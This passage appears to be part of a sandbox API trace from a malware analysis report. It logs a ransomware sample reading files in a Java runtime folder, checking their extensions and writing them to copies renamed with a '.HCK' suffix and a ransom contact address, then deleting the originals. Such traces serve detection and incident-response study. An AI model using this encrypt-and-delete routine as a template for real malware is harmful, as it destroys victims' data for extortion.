Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.186] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.187] lstrlenW (lpString=".doc") returned 4 [0227.187] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString=".docx") returned 5 [0227.187] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0227.187] lstrlenW (lpString=".pdf") returned 4 [0227.187] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString=".xls") returned 4 [0227.187] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.187] lstrlenW (lpString=".xlsx") returned 5 [0227.187] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0227.187] lstrlenW (lpString=".ppt") returned 4 [0227.187] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.187] lstrlenW (lpString=".zip") returned 4 [0227.187] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.187] lstrlenW (lpString=".rar") returned 4 [0227.187] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString=".bz2") returned 4 [0227.187] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString=".7z") returned 3 [0227.187] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.187] lstrlenW (lpString=".dbf") returned 4 [0227.187] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.187] lstrlenW (lpString=".1cd") returned 4 [0227.187] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.187] lstrlenW (lpString=".jpg") returned 4 [0227.187] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.188] lstrlenW (lpString=".doc") returned 4 [0227.188] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString=".docx") returned 5 [0227.188] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0227.188] lstrlenW (lpString=".pdf") returned 4 [0227.188] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString=".xls") returned 4 [0227.188] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.188] lstrlenW (lpString=".xlsx") returned 5 [0227.188] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0227.188] lstrlenW (lpString=".ppt") returned 4 [0227.188] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.188] lstrlenW (lpString=".zip") returned 4 [0227.188] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.188] lstrlenW (lpString=".rar") returned 4 [0227.188] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString=".bz2") returned 4 [0227.188] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString=".7z") returned 3 [0227.188] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.188] lstrlenW (lpString=".dbf") returned 4 [0227.188] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.188] lstrlenW (lpString=".1cd") returned 4 [0227.188] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0227.188] lstrlenW (lpString=".jpg") returned 4 [0227.188] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.188] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0227.188] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0227.188] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.189] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=698236) returned 1 [0227.189] CloseHandle (hObject=0x458) returned 1 [0227.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0227.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.189] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.190] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0227.506] GetLastError () returned 0x0 [0227.506] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0227.531] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0227.539] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.539] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfe, lpOverlapped=0x0) returned 1 [0227.539] SetEndOfFile (hFile=0x448) returned 1 [0227.539] CloseHandle (hObject=0x448) returned 1 [0227.539] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.539] SetEndOfFile (hFile=0x458) returned 1 [0227.563] CloseHandle (hObject=0x458) returned 1 [0227.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.564] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0227.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.564] lstrlenW (lpString=".doc") returned 4 [0227.565] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString=".docx") returned 5 [0227.565] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0227.565] lstrlenW (lpString=".pdf") returned 4 [0227.565] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString=".xls") returned 4 [0227.565] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.565] lstrlenW (lpString=".xlsx") returned 5 [0227.565] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0227.565] lstrlenW (lpString=".ppt") returned 4 [0227.565] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.565] lstrlenW (lpString=".zip") returned 4 [0227.565] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.565] lstrlenW (lpString=".rar") returned 4 [0227.565] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString=".bz2") returned 4 [0227.565] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString=".7z") returned 3 [0227.565] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.565] lstrlenW (lpString=".dbf") returned 4 [0227.565] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.565] lstrlenW (lpString=".1cd") returned 4 [0227.565] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.565] lstrlenW (lpString=".jpg") returned 4 [0227.565] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.955] lstrlenW (lpString=".doc") returned 4 [0227.955] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.955] lstrlenW (lpString=".docx") returned 5 [0227.955] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0227.955] lstrlenW (lpString=".pdf") returned 4 [0227.955] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.956] lstrlenW (lpString=".xls") returned 4 [0227.956] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.956] lstrlenW (lpString=".xlsx") returned 5 [0227.956] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0227.956] lstrlenW (lpString=".ppt") returned 4 [0227.956] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.956] lstrlenW (lpString=".zip") returned 4 [0227.956] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.956] lstrlenW (lpString=".rar") returned 4 [0227.956] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.956] lstrlenW (lpString=".bz2") returned 4 [0227.956] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.956] lstrlenW (lpString=".7z") returned 3 [0227.956] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.956] lstrlenW (lpString=".dbf") returned 4 [0227.956] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.956] lstrlenW (lpString=".1cd") returned 4 [0227.956] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0227.956] lstrlenW (lpString=".jpg") returned 4 [0227.956] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.956] lstrcmpiW (lpString1=".jfc", lpString2=".HCK") returned 1 [0227.956] lstrlenW (lpString="default.jfc") returned 11 [0227.956] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.297] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=20109) returned 1 [0228.297] CloseHandle (hObject=0x4bc) returned 1 [0228.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0228.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.298] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.298] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.299] GetLastError () returned 0x0 [0228.299] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0228.302] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0228.303] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.303] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xea, lpOverlapped=0x0) returned 1 [0228.303] SetEndOfFile (hFile=0x454) returned 1 [0228.303] CloseHandle (hObject=0x454) returned 1 [0228.303] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.303] SetEndOfFile (hFile=0x4bc) returned 1 [0228.305] CloseHandle (hObject=0x4bc) returned 1 [0228.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.305] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0228.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.306] lstrlenW (lpString=".doc") returned 4 [0228.306] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0228.306] lstrlenW (lpString=".docx") returned 5 [0228.306] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0228.306] lstrlenW (lpString=".pdf") returned 4 [0228.306] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0228.306] lstrlenW (lpString=".xls") returned 4 [0228.306] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0228.306] lstrlenW (lpString=".xlsx") returned 5 [0228.306] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0228.306] lstrlenW (lpString=".ppt") returned 4 [0228.306] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0228.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.306] lstrlenW (lpString=".zip") returned 4 [0228.306] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0228.306] lstrlenW (lpString=".rar") returned 4 [0228.306] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0228.306] lstrlenW (lpString=".bz2") returned 4 [0228.306] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0228.306] lstrlenW (lpString=".7z") returned 3 [0228.306] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0228.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.306] lstrlenW (lpString=".dbf") returned 4 [0228.307] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".1cd") returned 4 [0228.307] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".jpg") returned 4 [0228.307] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".doc") returned 4 [0228.307] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0228.307] lstrlenW (lpString=".docx") returned 5 [0228.307] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0228.307] lstrlenW (lpString=".pdf") returned 4 [0228.307] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0228.307] lstrlenW (lpString=".xls") returned 4 [0228.307] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0228.307] lstrlenW (lpString=".xlsx") returned 5 [0228.307] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0228.307] lstrlenW (lpString=".ppt") returned 4 [0228.307] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".zip") returned 4 [0228.307] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0228.307] lstrlenW (lpString=".rar") returned 4 [0228.307] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0228.307] lstrlenW (lpString=".bz2") returned 4 [0228.307] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0228.307] lstrlenW (lpString=".7z") returned 3 [0228.307] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".dbf") returned 4 [0228.307] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".1cd") returned 4 [0228.307] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0228.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0228.307] lstrlenW (lpString=".jpg") returned 4 [0228.307] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0228.308] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0228.308] lstrlenW (lpString="jsse.jar") returned 8 [0228.308] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.308] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=584576) returned 1 [0228.308] CloseHandle (hObject=0x4bc) returned 1 [0228.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0228.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.309] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.309] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.309] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.309] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.310] GetLastError () returned 0x0 [0228.310] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0228.325] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0228.453] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.453] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0228.454] SetEndOfFile (hFile=0x454) returned 1 [0228.751] CloseHandle (hObject=0x454) returned 1 [0228.751] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.751] SetEndOfFile (hFile=0x4bc) returned 1 [0228.775] CloseHandle (hObject=0x4bc) returned 1 [0228.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.776] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0228.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.776] lstrlenW (lpString=".doc") returned 4 [0228.776] lstrcmpiW (lpString1=".doc", 